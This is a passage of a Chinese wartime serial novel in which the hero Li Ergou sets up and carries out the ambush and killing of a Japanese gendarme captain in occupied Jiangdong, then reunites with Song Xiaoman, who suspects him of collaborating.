那眼神里没有犹豫,只有不容置疑的决心。 屋里沉默了片刻,油灯的光晕在众人脸上流转。 李二狗看着眼前这三个和自己最亲近的人,一时间突然有些伤感。 有些话不说,也许以后就没有机会了。 “如果……我是说如果,我有什么不测,你们一定要守护好集团,照顾好弟兄们。” “狗哥,你胡说什么!”望冬的眼泪瞬间涌了上来,声音中带着哭腔,“你一定不会有事的!我们都等着你回来!” 她死死地咬着鲜红的嘴唇,不让自己哭出声来,可眼泪还是像断了线的珠子一样,顺着脸颊滚落下来。 秀才郑重地点了点头,十分伤感。 “狗哥,你放心,只要有我们在,清风集团就绝不会垮,你一定要平安回来。 陈老三没有说话,只是重重地拍了拍李二狗的肩膀,那力道大得几乎要把他的骨头拍碎。 千言万语,都在这一拍里了。 李二狗看着他们,心里涌起一股暖流。 他知道,自己不是一个人在战斗。 这些弟兄,这些亲人,就是他敢闯龙潭虎穴的底气。 “好了,时间也不早了,你们赶紧回山寨吧。”李二狗站起身,整理了一下衣襟,“记住我说的话,千万别出岔子。” 三人知道不能再耽搁,他们最后看了李二狗一眼,转身消失在浓浓的夜色里。 屋里只剩下李二狗一人。 他走到窗边,推开窗户,夜风吹进来,带着一丝凉意。 他知道,此行凶险万分,稍有不慎就是万劫不复。 可他没有丝毫退缩——为了弟兄们,为了清风集团,为了那些还没说出口的牵挂,他必须去。 李二狗的眼神里没有恐惧,只有一片沉静的勇敢。 大不了,就是一死。 但在死之前,他也要拉着松井直树,一起去那阎王殿里说道说道。 夜色更深了,李素文不知道什么时候出现在李二狗身后。 她伸手从身后搂住李二狗的腰,把头紧紧地靠在他的背上。 “二狗,刚才我看见望冬她们来了,是不是有什么事情?你可不要瞒着我。” 都说女人的第六感一向很准,看来此话确实不假。 刺杀松井直树,看似凶险,其实李二狗有很大的把握。 他本不想告诉李素文,免得她担心。 可天底下没有百分百的事情,一旦失手,李二狗怕连累到李素文和胡家大院。 “素文,我在仙人洞镇有个房子,明天一早我让二驴把你送过去,在我回来之前,你先住在那里。” 李二狗的话有安排后事的意味,李素文急得红了眼眶。 “到底怎么了?二狗,你千万不要瞒我。” 李二狗转过身,把李素文搂入怀中。 “我明天要去县城刺杀一个日本鬼子的军官,一旦失败,我怕会连累你。” 李二狗本来计划让李素文今晚跟着秀才他们到清风寨躲一躲,但想了想,还是放弃了,他了解李素文,她绝对不会扔下自己一个人去山寨。 “二狗,你一定要去吗?” 李素文的泪水已经浸湿了李二狗的胸膛,她没有劝阻,只是想从李二狗嘴里再确定一次。 “素文,对不起,我一定得去!” “那我就在这里等你回来。”李素文决绝地说道。 “素文,你还是出去躲一躲,万一……” 李素文用手指捂住李二狗的嘴。 “没有万一!如果你真的有万一,你觉得我还能一个人活下去吗?” 李二狗紧紧地抱住李素文,此时,千言万语不如一个吻,不如床上的一哆嗦。 他抱起李素文,熄灭了灯…… 第647章 一份薄礼 第二天一早,江东县城笼罩在一层薄薄的晨雾里。 自从日本人占领江东之后,昔日熙熙攘攘的江东县城已经变得冷冷清清。 此时街面上并没有什么人,只有几个挑着担子的菜贩,脚步匆匆地往市集赶。 李二狗穿着一身藏青色的短布衫,戴着一顶破毡帽,他刻意将帽檐压得很低,遮住了大半张脸。 他也挑着一副扁担,混在稀疏的人流中,往日军宪兵队大门口方向移动。 日军宪兵队的门楼在晨雾中透着一股森冷的气息,门口两侧各架着一挺歪把子机枪,黑洞洞的枪口对着街道,仿佛随时会喷出火来。 还有四个日本鬼子端着步枪,笔挺地站在大门两侧,皮靴锃亮,刺刀在晨光下闪着寒光,眼神警惕地扫视着每一个经过的人。 这个地方如今就是江东县的“阎王殿”,别说普通百姓,就是伪军汉奸,没事也绝不敢往这儿凑。 李二狗走到离日军宪兵队大门口还有几十步远的地方,停在一棵老槐树下。 他假装系鞋带,眼角的余光飞快地扫过门楼、机枪阵地和站岗的日本鬼子。 他心里清楚,硬闯是找死,别说冲进日军宪兵队杀人,恐怕刚靠近大门,就会被打成筛子。他要等的,是一个合适的时机,一个能让松井直树主动走出这“铜墙铁壁”的机会。 李二狗没敢多停留,而是转身来到一家离日军宪兵队不远处的茶馆。 茶馆刚开门,伙计正忙着擦桌子,李二狗选了一个靠窗的位置坐下,点了一壶茶,慢慢喝着,眼睛却一直盯着日军宪兵队的大门。 就在这时,孙竹刚脚步匆匆地来到日军宪兵队大门口,他手里提着一个精致的木盒子,脸上带着一副谄媚的笑容。 李二狗的嘴角勾起一抹不易察觉的笑容。 他一直担心孙竹刚不敢前来,如今看来,他还是听从了自己的计划。 对于孙竹刚来说,他没有其他的选择。 他看着孙竹刚走到日军宪兵队门口,被一个站岗的日本鬼子拦住,日本鬼子叽哩哇啦了几句,转身进了身后的门楼。 他向里面打了一个电话,很快就让孙竹刚进去了。 孙竹刚提着木盒子,在一个日本鬼子的引领下来到松井直树的办公室。 松井直树穿着一身笔挺的日军军官制服,坐在办公桌后面的一把檀木椅子上。 他看到孙竹刚进来,并没有起身,脸上带着一副倨傲的笑容。 “松井队长,您好。” 孙竹刚在松井直树面前一副点头哈腰的模样,那姿态,比伺候他亲爹还要恭敬。 “孙县长刚刚大婚不久,不在家好好陪你美丽的新娘,怎么这么早就来宪兵队啊?是有什么重要的事情吗?” 孙竹刚依然笑的那么谄媚,他天生自带奴颜媚骨。 “松井队长,我今天是特意来向您赔罪的。” “赔罪?” 松井直树直接糊涂了,自己明明在他的婚礼上羞辱了他,他却来向自己赔罪?这实在令人匪夷所思。 松井直树倒要听听,孙竹刚到底要赔什么罪? “松井队长,您百忙之中来参加我的婚礼,还送了那么贵重的礼物,我太太非常喜欢,可您没有留下来喝杯喜酒,现在想来,实在是太怠慢您了。” 松井直树听后眉毛不自觉跳动了一下,他知道,孙竹刚不可能为了这件事专程来道歉。 他知道,中国人一向是非常狡猾的。 “孙县长,这都是小事,你不用在意。” 松井直树从孙竹刚婚礼回来之后,脑海里总是二丫那娇嫩的脸庞,他喜欢这种白嫩白嫩的年轻女人。 “松井队长,我们中国人最讲究礼数,为了表达歉意,我和我太太今晚特意备了一桌酒菜,请松井队长务必赏光前来。” 松井直树听着孙竹刚的絮叨,眼睛突然亮了起来,他嘴角的小胡子得意地翘了起来,那双总是带着色眯眯的眼睛里,闪过一丝贪婪的光。 “孙县长实在是太客气了。” 孙竹刚笑了笑,把手里那个精致的小木盒放到松井直树面前的桌子上。 “松井队长,我特意备了一份薄礼,请您笑纳。” “奥,这是什么?” 松井直树以为木盒里面装的是孙竹刚送他金条或者大洋,欣喜不已。 “松井队长,您看看就知道了,一定是您喜欢的东西。” 松井直树笑眯眯地打开木盒,顿时看呆了! 里面竟然是两盒一夜八次丸! 他梦寐以求的灵丹妙药! 这种好东西在日本早就卖断了货,只有皇室成员和达官贵人才能享用。 “孙县长,你竟然有这种好东西?这……这哪里来的?” 孙竹刚依旧是谄媚的笑容。 “这是我一个朋友特意从日本带回来的,我知道这是好东西,特意拿来送给松井队长享用。” 松井直树开心的不要不要的。 孙竹刚邀请自己晚上去他家里作客,现在又送他一夜八次丸,其中的意思不言自明。 松井直树心里也纳闷,难道他真舍得把自己的新婚妻子献给自己吗? 一个做了汉奸的人,什么事做不出来? 孙竹刚的“邀请”和“礼物”,显然都戳到了松井直树的痒处。 他终于站起身,走到孙竹刚身前,拍了拍他的肩膀,用生硬的中国话说道:“孙县长,今天晚上,我一定到。” 说完,又色眯眯地笑了笑,眼神里的意味不言而喻。 孙竹刚连连点头,接着说道:“不过有件事我得提前向松井队长汇报,今晚我值班,可能陪您喝一会儿就得去县政府了,还请松井队长一定不要介意。” 刚想睡觉就有人递枕头,孙竹刚所有的安排都做到了松井直树的心眼里。 他开心坏了。 “孙县长这种夙夜为公的精神实在是令人感动啊,我代表大日本皇军感谢你。工作要紧,你尽管去好了,我一点都不介意!孙县长,你地,大大的好!” “谢谢松井队长体谅,那我就先回去了,咱们晚上见!” “吆西,哈哈哈,晚上见!” 第648章 松井直树遇袭 日本人刚刚占领江东县城不久,社会治安混乱,如果没有特殊情况,松井直树晚上是绝对不会离开宪兵队半步的。 可想到二丫那张年轻稚嫩的脸庞,就是今晚天上下刀片,松井直树也一定会去赴约。 松井直树看着孙竹刚离去的背影,嘴角的笑意已经完全掩饰不住了,显然他对今天晚上的“赴宴”充满了期待。 看到孙竹刚从日军宪兵队出来,手里的小木盒已经不见了,显然他已完成了李二狗计划里的第一步。 李二狗悄无声息地离开了茶馆,接下来他还有重要的事情要做。 从日军宪兵队到孙竹刚家虽然只有三公里的距离,但这是他唯一的机会。 本来在孙竹刚家中刺杀松井直树把握性会更大一些,但李二狗知道,孙竹刚是绝对不会答应的。 他舍不得县长这个位子。 当然,孙竹刚在县长的位子上,对李二狗也有好处,所以他只能选择在路上动手。 他早就勘察过地形,从日军宪兵队出来,有两条路可以抵达孙竹刚家里。 其中一条是小路,崎岖狭窄,两侧都是一些低矮的民房和院墙,非常适合伏击。 另一条是大路,宽敞平坦,大部分区域一览无余,根本藏不住人。 松井直树性子张扬,又急于赶着去“赴宴”,肯定会选择乘车走大路。 他绝不会想到,有人敢在无遮无掩的大路上伏击他。 但李二狗偏要反其道而行之。 他知道,最危险的地方往往是最安全是,松井直树的傲慢,就是他最大的破绽。 接下来的大半天,李二狗都在那条大路上转悠,他假装成一个捡破烂的流浪汉,仔细观察着每一处细节。 这条路是县城的主干道,中间有一段大约一百米长的路段,北侧是一片茂密的杨树林,南侧是一条排水沟。 沟深约两米,沟里的河水很浅,长满了半人高的杂草,是这段路程唯一适合藏身伏击的地方。 路段中间有一个不大不小的拐弯,视线会受到一定阻碍,是伏击的最佳地点。 李二狗沿着河沟走了一遍,用树枝拨开杂草,确认沟底足够平坦,能容纳下人藏身。 他又走到杨树林里侦查了一番,选择好了撤退的路线。 李二狗知道,这片杨树林并不大,要想在刺杀松井直树之后安全撤离,就必须解决掉和松井直树一起的所有日本鬼子,否则一旦被他们尾随,之后和援军汇合,自己就很难安全脱身了。 松井直树到底会带多少日本鬼子出门,李二狗进行了精密的分析。 一辆挎斗摩托三轮车只能坐四个人,一辆太少,三辆又太多,松井直树很可能会带两辆摩托车出门。 那就是八个人,包括松井直树本人在内。 八个人,要在五分钟之内全部解决掉,即使强如李二狗,无疑也是一项艰巨的任务。 但李二狗之所以是李二狗,就因为他擅长干这种看似常人难以完成的任务。 他之所以选择一个人来做这件事,就是想用最小的代价,神不知鬼不觉地干掉松井直树。 一旦人多,行动的时候不仅容易暴露,撤离的时候也容易出事。 如果被日本人抓住一个活口,后果将不堪设想。 李二狗知道,如果日本人真想剿灭清风集团,清风集团是无力抵抗的。 自己必须一个人,神不知鬼不觉地干掉松井直树。 李二狗布置好一切之后,才回到县城的家中,养精蓄锐,等待天黑。 傍晚时分,夕阳的余晖给日军宪兵队的门楼上镀上了一层金黄色。 迫不及待的松井直树带着七个日本鬼子,分乘两辆挎斗摩托三轮车,浩浩荡荡地从宪兵队里开了出来。 他坐在第二辆摩托车的挎斗里,怀里揣着两颗一夜八次丸,手里把玩着一把军刀,脸上带着得意的笑容,显然正在琢磨着晚上的“好事”。 松井直树虽然一向行事谨慎,但也没有太过担心。 在他看来,整个江东县都是日本人的天下,谁敢动他一根手指头? 更何况路程很短,眨眼的功夫就到了,带七个人足够了。 精虫上脑后的松井直树已经满脑子都是二丫,他只想着快点赶到孙竹刚家中。 两辆摩托车一前一后沿着大路疾驰,很快就来到了那段有拐弯的路段。 驾驶员放慢了速度,准备拐弯,就在这时,异变陡生! 南侧的河沟里,突然窜起一道黑影,李二狗手持驳壳枪,瞄准了第二辆摩托车的驾驶员,毫不犹豫地扣动了扳机! “砰”的一声,弹头带着风声,精准地射中了驾驶员的后颈! 驾驶员哼都没哼一声,脑袋一歪,摩托车瞬间失控,“哐当”一声撞在路边的大石头上,挎斗里的松井直树被直接甩了出来,重重地摔在地上。 电光火石之间,李二狗又接连射出几颗子弹,第一辆摩托车的驾驶员和挎斗里的日本鬼子应声倒地,摩托车瞬间失去控制,撞在路边的一棵大树上,熄火了。 很不幸,两辆摩托车失控后都没有失火爆炸。 好在李二狗有第二套方案。 “有敌人!” 剩下的几个日本鬼子反应过来,纷纷从地上爬起来,端起步枪,警惕地扫视着四周。 他们训练有素,很快就判断出攻击来自南侧的河沟,立刻对着河沟进行猛烈的射击。 李二狗早已料到他们会有此反应,在射光一梭子子弹之后,立刻矮身躲回河沟里,借着杂草的掩护,快速移动到另一处预设的射击点。 他屏住呼吸,听着头顶“嗖嗖”飞过的子弹,眼睛紧紧地盯着摔在地上的松井直树。 松井直树这下摔得着实不轻,他挣扎了半天才从地上爬起来,军帽掉了,头发乱糟糟的,脸上沾满了尘土,哪里还有半分刚才的嚣张样子? 他看到怀里的一夜八次丸掉在地上,顾不得其他,赶紧捡起来放在口袋里。 他又惊又怒,拔出军刀,大声吼道:“八嘎!抓住他!” 第649章 松井直树遇刺身亡 在松井直树的怒吼指挥下,剩余的日本鬼子纷纷朝着河沟的方向猛烈地射击。 一个日本鬼子呐喊着刚冲到河沟边缘时,突然脚下“轰”的一声,接着就是一声惨叫,小鬼子四肢不全地倒在地上。 原来李二狗在河岸上利用手榴弹布置了几枚诡雷,威力虽然不大,却足以让人不敢再前进一步。 这一下完全打乱了日本鬼子的冲锋节奏,他们下意识地停住脚步,警惕地看着脚下,生怕再踩中诡雷。 李二狗抓住这个机会,从河沟里猛地探出身,驳壳枪瞄准了离松井直树最近的一个日本鬼子,“砰!” 一枪射出! 那日本鬼子刚要举枪瞄准李二狗的方向,就被一颗子弹射中胸口,他闷哼一声直接倒在地上。 “他在那边!” 松井直树吓得大喊一声之后匍匐在地,剩下的日本鬼子立刻发现了李二狗的位置,他们纷纷调转枪口,朝着他藏身的方向射击。 但他们惧于诡雷,并不敢冲上前。 子弹打在河沟边的土坡上,溅起一片片尘土,杂草被打得乱飞。 李二狗再次躲回沟里,心脏“咚咚”直跳。 他知道,不能恋战,必须尽快解决掉松井直树和这些鬼子。 他看了一眼手表,从伏击开始到现在,已经过去了两分钟,按照日军的反应速度,最多再过五分钟,增援的鬼子就会赶到。 他深吸一口气,从怀里掏出一颗烟雾弹。 这是他用硫磺和硝石自制的,他拔下引信,扔向日本鬼子聚集的方向。 “砰”的一声轻响,白色的烟雾瞬间弥漫开来,挡住了日本鬼子的视线。 “咳,咳!” 日本鬼子被烟雾呛得咳嗽不止,视线受阻,一时间不知道该向哪里射击。 李二狗趁机从河沟里冲了出去,他像一只猎豹,朝着松井直树的方向狂奔。 松井直树正被烟雾呛得睁不开眼,突然看到一个黑影朝自己扑来,顿时吓得魂飞魄散,举着军刀就砍。 李二狗早有防备,身体一侧,躲过军刀,同时反手一拳,狠狠地砸在松井直树的手腕上。 “咔嚓”一声脆响,松井直树惨叫一声,军刀掉在地上。 李二狗没给他喘息的机会,飞起一脚,直接踹在他的胸口上,将他踹倒在地。 他随即扑了上去,死死地按住松井直树的脖子。 松井直树拼命地挣扎着,嘴里发出“嗬嗬”的声音,他眼睛瞪得溜圆,满是恐惧和不甘。 他怎么也想不到,自己竟然会这么不明不白地被干掉,他还没有把白嫩白嫩的二丫压在身下…… “狗日的小日本,去死吧!” 李二狗眼神冰冷,他从腰间拔出那把磨得锃亮的短刀,毫不犹豫地刺进了松井直树的心脏。 松井直树的身体猛地抽搐了几下,随即便不动了,那双总是色眯眯的眼睛,永远地失去了神采。 解决掉松井直树之后,李二狗立刻转身,朝着剩下的四个日本鬼子冲去。 此时烟雾已经开始散去,那四个日本鬼子看到队长被杀,眼睛都红了,端着枪不顾一切地朝李二狗射击。 李二狗脚下不停,利用摩托车残骸做为掩护,左躲右闪,手里的驳壳枪接连射出。 又有两个日本鬼子应声倒地。 剩下的两个日本鬼子见状,吓得躲藏在大树后不敢再露头。 他们知道,只要再等几分钟,增援的部队就会赶来,他们没必要现在冲出去送死。 李二狗当然知道他们的企图! 他知道不能再等了! 他俯身抓起地上那把松井直树的军刀,猛地冲出掩体,朝着其中一个日本鬼子躲避的方向劈去。 躲在树后的日本鬼子听到越来越近的脚步声,刚一露头,李二狗已然冲到他眼前。 那日本鬼子慌乱地举枪格挡,“当”的一声,军刀被磕开,李二狗顺势一个转身,手肘狠狠撞在他的太阳穴上。 日本鬼子闷哼一声,口吐鲜血,倒了下去。 最后一个日本鬼子见状,吓得连连后退,举枪就要射击。 李二狗眼疾手快,猛地将手里的短刀掷了出去,短刀在空中划过一道优美的弧线,精准地插进了他的胸膛。 至此, 日本鬼子全部被击毙,前后不过四分多钟。 李二狗顾不上喘口气,他迅速跑进左侧的树林里,树林里早已备好了一匹快马,李二狗翻身上马,沿着林间小道,疾驰而去。 就在他离开后不到一分钟,远处传来了摩托车的轰鸣声,日军的增援部队赶到了。 当他们看到现场的惨状和松井直树的尸体时,整个现场都炸开了锅,尖叫声、怒骂声、枪声此起彼伏。 但所有的人都被李二狗干掉了,他们根本不知道李二狗此时已逃往了哪个方向。 “八嘎呀路!八嘎呀路!” “砰砰砰!” 就在日本鬼子恼怒之时,李二狗骑着马,回头望了一眼刚刚发生激战的方向,嘴角勾起一抹冷笑。 松井直树死了,日军在江东的指挥系统必然会陷入混乱,清剿清风集团的计划自然就搁置了。 日本鬼子的一个副队长立刻指挥人马奔向孙竹刚的住处。 他知道,松井直树之所以晚上出门,正是因为孙竹刚的邀请。 此事,孙竹刚有重大作案嫌疑。 日军宪兵队的卡车停在孙竹刚家四合院门口时,西方的最后一抹夕阳才落下山。 宪兵队副队长龟田一郎从副驾驶座上下来,军靴踩在湿漉漉的青石板上,发出一声沉闷的声响。 他穿着笔直的宪兵制服,领口的纽扣系得一丝不苟,脸上没有什么表情,只有那双眯起的眼睛,锐利地扫过院门。 几个日本鬼子在前面带路,一脚踹开了院门。 孙竹刚系着围裙,手里拿着一根切了一半的黄瓜,从厨房走了出来。 “龟田队长,这……这是怎么了?” 龟田一郎没有说话,而是朝身后挥了挥手,几个日本鬼子马上冲进各个房间进行搜查。 “太君,您这……这是做什么?今晚松井队长要来寒舍作客,你这样……他会不高兴的!” 龟田一郎阴沉着脸不说话,他在等待搜查结果。 第650章 精诚合作 “报到队长,没有发现异常!” “没有发现异常!” 日本鬼子一个个从屋里搜查出来,全部没有发现异常。 “太君,到底发生什么事了?”孙竹刚一脸的疑惑,锅里的菜糊了他都没有闻到。 龟田一郎一脸悲痛地说道:“松井队长刚才在来的路上遭遇袭击,已经为天皇效忠了!” “啊!” 孙竹刚手里的黄瓜掉在地上,摔得四分五裂! 尽管没有搜查到什么,但龟田一郎还是不愿意就这样结束。 “孙县长,打扰了。”龟田一郎的中国话说得比松井直树流利一些,“松井队长刚刚遇袭身亡,按规矩,需要请你和家人回宪兵队协助调查。” 孙竹刚脸上适时地露出震惊和惶恐,双手在身前搓着,声音发颤。 “龟田队长,这……这怎么可能啊?松井队长早上答应到我家赴宴,怎么会……” 他故意顿住,仿佛被这突如其来的噩耗惊得说不出话,眼角却飞快地瞟了一眼龟田一郎。 对方眼底深处,没有丝毫悲伤,只有一种不动声色的审视。 “事已至此,多说无益。”龟田一郎摆了摆手,身后的日本鬼子立刻上前,将孙竹刚的家人,包括新娶的二丫和几个老佣人——都“请”上了卡车。 孙竹刚被单独带到另一辆车上,他一路上都低着头,嘴里念念有词,那副惊慌失措的样子,像极了被吓坏的普通人。 日军宪兵队的审讯室里,白炽灯亮得刺眼。 孙竹刚坐在一张硬木椅上,审讯他的是龟田一郎,问题翻来覆去就是那一个。 “松井队长答应晚上去你家赴宴之后,你都做了什么?” 孙竹刚始终保持着同一套说辞,声音里带着哭腔。 “我早上邀请完松井队长之后就直接回了家,之后就再也没有迈出家门半步,家里的佣人都能作证!龟田队长,您可得相信我啊,我对皇军可是忠心耿耿的!” 他一边说,一边抹着眼泪,那副刻意装傻的模样,连审讯的日本鬼子都有些不耐烦了。 与此同时,其他房间的审讯也在进行。 二丫吓得瑟瑟发抖,只会重复“我一直在家,什么都不知道!”。 几个老佣人都笃定地回答道:“县长确实一天都没出门”。 所有人的证词都严丝合缝,找不到任何破绽。 龟田一郎嘴角勾起一抹冷笑。 他怀疑过孙竹刚,毕竟是他邀请的松井直树。 可没有证据,一切都是空谈。 更重要的是,龟田一郎心里打着自己的算盘。 松井直树一死,宪兵队的权力就空了出来。 眼下日军正全力南下,兵力吃紧,上级根本不可能立刻派新队长来,这江东宪兵队的实际控制权,自然会落到他这个副队长手里。 只要能稳住江东的局面,不出乱子,等战事稍缓,队长的位子自然就是他的。 而要稳住局面,离不开孙竹刚这个县长。 毕竟,本地人比他们这些外来的日本人更懂怎么笼络人心。 “把孙县长请过来吧。”龟田一郎看完了所有人的供词,对身边的一个士兵说道。 他已经想好了,与其揪着松井直树的死不放,不如卖孙竹刚一个人情,让他以后更“听话”。 孙竹刚被带到龟田一郎的办公室时,脸上还挂着惶恐。 龟田一郎指着对面的椅子,示意他坐下,亲自给他倒了一杯热茶。 “孙县长,让你受惊了。” 孙竹刚连忙站起来,哈着腰,一副恭顺的表情。 “不敢不敢,配合皇军调查是应该的。” “审讯结果已经出来了,”龟田一郎呷了口茶,慢悠悠地说道,“所有人的证词都证明,你确实一天没有出门。看来,是我们冤枉你了。” “谢谢龟田队长,谢谢龟田队长。” 龟田一郎笑着拍了拍孙竹刚的肩膀。 “孙县长,现在松井队长已死,以后江东的治安,就要靠我们俩了。孙县长,我们一定要精诚团结,共同维护好江东的社会和经济秩序,你说对吗?” 孙竹刚心里一阵冷笑,脸上却堆起谄媚的笑容。 “龟田队长说得是!卑职一定竭尽全力,保证江东在您的治下,绝对稳定,绝对繁荣!您指哪,我就打哪!” 他故意把“您的治下”四个字说得很重,像是在暗示自己已经认了龟田这个新主子。 龟田一郎满意地点点头。 “吆西!孙县长,祝我们合作愉快。” 他伸出手,和孙竹刚象征性地握了握。 在龟田一郎看来,与中国人握手已经是极大的“礼遇”了。 孙竹刚知道,自己这关算是过了。 他心里也清楚,龟田一郎不是不怀疑,只是眼下有更重要的利益要权衡。 松井直树的死,对龟田来说,与其说是损失,不如说是一块垫脚石。 踩着松井直树的墓碑,他就能爬上更高的位置。 离开宪兵队时已是深夜。 孙竹刚坐上龟田一郎特意派的车后,才长长地舒了口气,后背的衣服早已被冷汗浸湿。 他知道,这一切能这么顺利,全靠李二狗周密的计划。 让他早上从宪兵队邀请完松井直树之后就直接回家,闭门不出,用所有人的证词做实自己“不在场的证据”。 其实他早就算准了龟田一郎会为了权力,选择“息事宁人”。 车很快开到了四合院门口,孙竹刚进门,就看到院子里的石榴树下,李二狗正摇着蒲扇纳凉,脚边放着一壶凉茶,仿佛等了很久。 “大哥,回来了?” 李二狗抬头看了他一眼,语气平淡,仿佛算准了他会安然无恙地回来。 跟在孙竹刚身后的佣人都惊呆了。 他们不明白李二狗怎么会这个时候出现在这里? 二丫更是吓得往孙竹刚身后缩了缩,她至今没弄明白,这个人和自家老爷到底是什么关系。 孙竹刚却很镇定,他早就习惯了李二狗的神出鬼没。 他朝佣人摆了摆手,示意他们退下,自己则走到李二狗身边。 “二狗兄弟,咱们进屋说。” 两人进了屋,孙竹刚反手关上门,脸上的疲惫和惶恐依然深深地挂在脸上。 第651章 宋小曼归来 孙竹刚一屁股坐在椅子上,长长地叹了一口气,仿佛身上被压着几座大山一般。 “二狗兄弟,和你预料的一样,龟田一郎不仅没有为难我,反而一个劲地拉拢我,还说要与我‘精诚合作’。” 李二狗脸上挂着习惯性的笑容。 “龟田这孙子如果想当宪兵队队长,江东就不能出乱子。松井一死,他最需要的就是稳定,而稳定,离不开你这个县长的支持。” 他顿了顿,表情突然变得凝重起来。 “大哥,龟田这人看面相比松井还要狡猾,他现在对你客气,是因为有求于你。但咱们不能掉以轻心,他盯着的,从来不是什么精诚合作,而是能不能牢牢控制住江东的局面。” 孙竹刚点了点头,他算是看明白了,这些日本人,不管是松井还是龟田,眼里只有权力和利益。 自己在他们眼中只不过是一枚棋子罢了! “兄弟,那接下来咱们……” “大哥,龟田既然想要稳定,那咱们就给他‘稳定’。他只要还需要你维持局面,就不会轻易动咱们。” 孙竹刚看着李二狗,心里突然生出一股复杂的情绪。 他一直觉得自己够精明,可和李二狗比起来,才发现自己这点算计,根本不值一提。 这个人,总能在看似绝境的地方,找到一条既能保命,又能掌控局面的路。 窗外的月光透过窗棂照进来,正好落在李二狗的脸上,一半在明,一半在暗,像极了他此刻的处境。 “二狗兄弟,如果龟田还要清剿你们清风集团怎么办?” 孙竹刚坐在太师椅上,眼里还带着未散的惊惧。 经过松井直树一事,他对日本人的狠辣有了更深刻的体会,他怕龟田一郎为了立威,把矛头再次指向清风集团,毕竟清风集团是江东地区唯一能和日本人相抗衡的武装力量。 李二狗嘴角勾起一抹从容的笑容。 “龟田是个聪明人,他不会做这种出力不讨好的事情。” 李二狗知道,松井的死已经让江东宪兵队元气大伤,龟田现在最需要的是稳定,而非再掀波澜。 清剿清风集团吃力不说,万一损兵折将,只会让他的晋升之路多生阻碍。 “可要是他执意要做呢?”孙竹刚追问道,像是不把所有的可能都问一遍,就无法安心一般。 李二狗语气轻松地说道:“那咱们就送他去找松井。” 他轻飘飘一句话,却让孙竹刚心头一震。 他望着李二狗那双平静无波的眼睛,突然彻底看清了一个事实。 在这乱世里,想要在江东站稳脚跟,必须紧紧地抱住李二狗这条大腿。 得之可得江东! 这个人看似温和,骨子里却藏着翻江倒海的狠劲和算计,比他孙竹刚要厉害百倍千倍乃至万倍。 “兄弟,今晚你别走了。”孙竹刚换上一副热络的笑容,语气里带着讨好,“我让你小嫂子包饺子给你吃,还是你最爱吃的海鲜馅。” 提到“嫂子”和“饺子”,李二狗眼底倏地掠过一丝不易察觉的悲伤。 严婆惜的身影突然在他脑海中浮现,那个总是笑盈盈喊他“二狗兄弟”的女人,声音热情又爽朗,仿佛还在他耳畔回响:“二狗兄弟,你来了!” 可如今,早已物是人非。 他轻轻地摇了摇头,说道:“大哥,我还有事,咱们改日吧。” 孙竹刚没有再勉强,他确实还没从白天的惊吓中缓过劲来,眼下只想清静地待一会儿。 “那好,我就不挽留兄弟了,等下次兄弟来,我一定让你小嫂子包海鲜馅的饺子给你吃。” 离开孙竹刚家时,夜色已经浓得化不开,月亮躲在云层里一直不敢出来。 李二狗没有停留,径直回到了胡家大院。 穿过几重院落,他脚步却不由自主地停在了于兰芝从前住的四合院门前。 朱漆大门紧闭着,门环上落了一层薄薄的尘土,他已经许久没有于兰芝和孩子的消息了。 广播里天天播报着上海会战的消息,说中日双方集结了上百万军队在那里混战,炮火连天、血流成河。 好在她们在租界区,那里远离战火,中日双方都不敢轻易把战火烧到那里,这让李二狗内心稍感安心。 他抬手想推开门进去看看时,身后却突然传来一声低喝。 “不许动!” 黑暗中突然窜出一个人影,冰凉的枪口顶在了李二狗的后脑勺上。 敢在胡家大院对他动手,这人胆子未免太大了。 而且,从声音判断,对方还是个女人。 李二狗没有慌乱,反而淡定地问道:“阁下是劫财还是劫色?” “狗汉奸!再敢胡言乱语,小心我打爆你的脑袋!” 女人的声音中带着一股怒气,还有一丝不易察觉的微微颤抖。 李二狗只觉得浑身一麻,这声音……怎么会如此熟悉? 像是在记忆深处藏了很久很久,既熟悉又陌生。 他的大脑飞速地旋转着,无数张和自己有瓜葛女人的面孔在脑海中不停地闪过。 突然,一个名字跳了出来——宋小曼! 一定是她! “小曼!” 李二狗猛地回头,尽管周围一片漆黑,只能借着朦胧的月光看到一个模糊的轮廓,但他还是一眼就认出了她。 那高挑的身姿,那俊俏的脸蛋,还有眉宇间那股倔强,分明就是他日思夜想的宋小曼! 他激动得心头狂跳,下意识地就要冲上去抱住她,却被她手里的枪挡住了。 “你再敢动,我真开枪了!”宋小曼的声音带着警告,枪口又往前递了递。 可李二狗丝毫不怕,他太了解宋小曼了。 她眼里的愤怒底下,藏着一丝他熟悉的柔软。 她不会开枪的,绝对不会! “小曼,我是二狗啊。”他迎着枪口,一步步靠近,声音里带着压抑不住的激动,“好久不见,你还好吗?我一直以为你已经……能见到你真好!” 话音未落,他已经不顾枪口的威胁,一把将宋小曼搂入怀中。 她的身体有些僵硬,带着夜露的凉意,却让李二狗感到无比踏实。 “我真的好想你。” 第652章 二狗……我…… “你……你放开我!” 宋小曼在他怀里挣扎着,可她越是挣扎,李二狗反而抱得越紧。 她的力气渐渐小了,最后终于瘫软在他怀里,肩膀微微耸动着。 她又何尝不想他? 这些日子,她日思夜想,梦里都是他的身影。 “小曼,你什么时候回来的?” 李二狗松开一些力道,低头看着她,声音温柔得能滴出水来。 宋小曼的身体在他怀里微微发烫,理智却在这时突然战胜了情感。 她猛地一把推开李二狗,再次举起枪,枪口稳稳地对准李二狗的胸口。 “二狗,我没想到你会投靠日本人,当了汉奸!我对你太失望了!” 她的声音里带着哭腔,眼里却闪烁着晶莹的泪珠,里面既有愤怒,更多的是痛心。 李二狗看着她含泪的眼睛,心里像被针扎一样的疼。 他没有为自己辩解,只是任由一串泪珠从脸颊滑落。 “小曼,你要相信我,我是绝对不会当汉奸的!” 那眼神里的真诚和痛苦,不似说谎。 宋小曼握枪的手颤抖起来,她认识的李二狗,从来不是一个贪生怕死、认贼作父的人。 这些年他在江东做的事情,她或多或少也听说过,说他护着百姓,打击作恶的土匪,怎么会突然投靠日本人成了汉奸? “可全江东的人都知道你当了汉奸!你还想抵赖吗?” “小曼,你要是不相信我,现在就可以一枪毙了我!我绝不会怨你!” 李二狗的身体竟迎着枪口往前靠了靠。 宋小曼犹豫了片刻,终于还是慢慢放下了枪。 几乎在同时,李二狗再次将她拥入怀中。 这一次,她没有再挣扎,只是把脸埋在他的胸口,压抑许久的泪水终于决堤。 “这里不是说话的地方,跟我来。”李二狗轻轻拍着她的背,在她耳边低语道。 宋小曼默默地点了点头。 李二狗带着宋小曼穿过几重院落,来到她从前住的那座四合院。 